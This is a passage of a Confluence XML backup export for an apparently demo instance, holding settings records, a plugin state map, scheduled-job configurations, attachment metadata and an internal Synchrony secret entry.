<useWysiwygByDefault>true</useWysiwygByDefault>
<numberOfBreadcrumbAncestors>1</numberOfBreadcrumbAncestors>
<viewSpaceGoesToSpaceSummary>false</viewSpaceGoesToSpaceSummary>
<enableLikes>false</enableLikes>
<currentIndexVersion>0</currentIndexVersion>
<maintenanceBannerMessageOn>false</maintenanceBannerMessageOn>
<maxSimultaneousQuickNavRequests>40</maxSimultaneousQuickNavRequests>
<maxRssItems>200</maxRssItems>
<rssTimeout>60</rssTimeout>
<pageTimeout>120</pageTimeout>
</settings>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32769</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[confluence.server.id]]></property>
<property name="value"><![CDATA[<string>BNRR-EUMS-GPB5-FJVB</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32786</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.space.settings]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.setup.settings.SpaceSettings>
<spaceKey>ds</spaceKey>
<disableLogo>false</disableLogo>
<colourSchemesSettings>
<colourSchemeType>global</colourSchemeType>
</colourSchemesSettings>
<doNotSave>false</doNotSave>
</com.atlassian.confluence.setup.settings.SpaceSettings>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32787</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[sidebar.nav-type]]></property>
<property name="value"><![CDATA[<string>page-tree</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32784</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.theme.settings]]></property>
<property name="value"><![CDATA[<map>
<entry>
<string>theme.key</string>
<string></string>
</entry>
</map>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32785</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[atlassian.confluence.css.resource.counter]]></property>
<property name="value"><![CDATA[<int>4</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32782</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[atlassian.confluence.plugin.resource.counter]]></property>
<property name="value"><![CDATA[<int>2</int>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32783</id>
<property name="context"><![CDATA[ds]]></property>
<property name="key"><![CDATA[copyspace.copier.spacekey]]></property>
<property name="value"><![CDATA[<string>DEMO</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32780</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_950DC3_#]]></property>
<property name="value"><![CDATA[<string>20</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32781</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[plugin.manager.state.Map]]></property>
<property name="value"><![CDATA[<map>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-trashed-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-trashed-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-page-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-moved-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.synchrony-interop</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:request-access-notification-email-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-hipchat-integration-plugin</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-less-users-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.plugins.base-hipchat-integration-plugin-api</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-update-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-onboarding:notification-template-no-spaces-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-collaborative-editor-plugin</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.plugins.base-hipchat-integration-plugin</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-new-mail-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-notifications-batch-plugin:batching-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-attachment-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-draft-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-edited-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-resolve-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-comments:notification-template-reply-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-inline-tasks:task-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-hipchat-emoticons-plugin</string>
<boolean>false</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.share-page:share-page-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-created-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-edited-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:blogpost-edited-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:follower-added-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:comment-created-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:page-created-hipchat-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-content-notifications-plugin:forgot-password-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-mentions-plugin:mention-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-file-notifications:file-content-remove-email-notification-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-request-access-plugin:grant-access-notification-email-template-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.confluence.plugins.confluence-like:like-created-notification-template-hipchat-body</string>
<boolean>true</boolean>
</entry>
<entry>
<string>com.atlassian.labs.hipchat.confluence-hipchat</string>
<boolean>false</boolean>
</entry>
</map>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32778</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_9412A1_#]]></property>
<property name="value"><![CDATA[<string>8</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32779</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_7B47A5_#]]></property>
<property name="value"><![CDATA[<string>4</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32776</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_187CCC_#]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32777</id>
<property name="context"><![CDATA[com.atlassian.confluence.plugins.pulp]]></property>
<property name="key"><![CDATA[version.history]]></property>
<property name="value"><![CDATA[<map>
<entry>
<string>7.19.12</string>
<string>2023-11-09T06:02:36.753Z</string>
</entry>
</map>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32774</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_21D670_#]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="Secrets" package="com.atlassian.synchrony">
<id name="key"><![CDATA[Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad]]></id>
<property name="value"><![CDATA[ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32775</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[AO_A0B856_#]]></property>
<property name="value"><![CDATA[<string>1</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32772</id>
<property name="context"><![CDATA[_GLOBAL]]></property>
<property name="key"><![CDATA[synchrony_collaborative_editor_UUID]]></property>
<property name="value"><![CDATA[<string>d32aafab-7f6d-4630-a017-f69b71948e20</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32773</id>
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
<property name="key"><![CDATA[efi.store.onboarding.plugin-installed-date-in-millis]]></property>
<property name="value"><![CDATA[<string>1699509752102</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32866</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#DailyReportJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32867</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#cacheStatsJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32864</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#BackupJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32865</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SynchronyEventsSoftRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32862</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#MailQueueFlushJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32863</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SchedulerRunDetailsPurgeJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32860</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ClearExpiredRememberMeTokensJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32861</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SynchronyEventsHardRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>false</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32858</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#SystemMaintenanceTaskQueueFlusherScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32859</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ClusterSafetyJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32856</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#IndexSnapshotCleaner]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32857</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#JmxAppLoggingJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32854</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#EhCacheCompactionJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32855</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#ReIndexHouseKeepingScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32852</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#LocalTaskQueueFlushJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32853</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#TrashHardRemovalScheduledJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>false</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32882</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#reminderJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32883</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#confluenceDailyStatisticsPublisherJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32880</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#onboardingNumberOfUsersCheckJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98355</id>
<property name="hibernateVersion">3</property>
<property name="title"><![CDATA[step-2-image-1.png]]></property>
<property name="lowerTitle"><![CDATA[step-2-image-1.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262201</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262203</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262205</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262207</id>
</element>
</collection>
<property name="version">1</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32881</id>
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
<property name="key"><![CDATA[efi.store.onboarding.onboardingNumberOfUsersCheckJob]]></property>
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98356</id>
<property name="hibernateVersion">3</property>
<property name="title"><![CDATA[step-2-image-3.png]]></property>
<property name="lowerTitle"><![CDATA[step-2-image-3.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262196</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262198</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262199</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262210</id>
</element>
</collection>
<property name="version">1</property>
<property name="creator" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModifier" class="ConfluenceUserImpl" package="com.atlassian.confluence.user"><id name="key"><![CDATA[2c9280828bb2ac81018bb2ae01d80000]]></id>
</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98322</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32878</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#createBlueprintPageEntityCleanupJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32879</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#batchingJobConfig]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32876</id>
<property name="context"><![CDATA[com.atlassian.confluence.efi.store.GlobalStorageServiceImpl]]></property>
<property name="key"><![CDATA[efi.store.onboarding.onboardingSpaceCheckJob]]></property>
<property name="value"><![CDATA[<string>JOB_FIRST_EXECUTE</string>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32877</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#cleanupTrigger]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32874</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#summaryEmail]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98349</id>
<property name="hibernateVersion">18</property>
<property name="title"><![CDATA[next.jpg]]></property>
<property name="lowerTitle"><![CDATA[next.jpg]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262225</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262233</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262237</id>
</element>
</collection>
<property name="version">1</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98317</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32875</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#onboardingSpaceCheckJob]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
<object class="Attachment" package="com.atlassian.confluence.pages">
<id name="id">98350</id>
<property name="hibernateVersion">19</property>
<property name="title"><![CDATA[step04-01.png]]></property>
<property name="lowerTitle"><![CDATA[step04-01.png]]></property>
<collection name="contentProperties" class="java.util.Collection"><element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262202</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262208</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262234</id>
</element>
<element class="ContentProperty" package="com.atlassian.confluence.content"><id name="id">262241</id>
</element>
</collection>
<property name="version">4</property>
<property name="creationDate">2020-10-26 15:44:29.341</property>
<property name="lastModificationDate">2023-11-09 06:03:45.265</property>
<property name="versionComment"><![CDATA[]]></property>
<property name="contentStatus"><![CDATA[current]]></property>
<property name="containerContent" class="Page" package="com.atlassian.confluence.pages"><id name="id">98318</id>
</property>
<property name="space" class="Space" package="com.atlassian.confluence.spaces"><id name="id">131073</id>
</property>
</object>
<object class="ConfluenceBandanaRecord" package="com.atlassian.confluence.setup.bandana">
<id name="id">32872</id>
<property name="context"><![CDATA[com.atlassian.confluence.schedule.ScheduledJobConfiguration]]></property>
<property name="key"><![CDATA[DEFAULT#jira-metadata-cache-config]]></property>
<property name="value"><![CDATA[<com.atlassian.confluence.schedule.ScheduledJobConfiguration>
<enabled>true</enabled>
<cronSchedule/>
<repeatInterval/>
</com.atlassian.confluence.schedule.ScheduledJobConfiguration>]]></property>
</object>
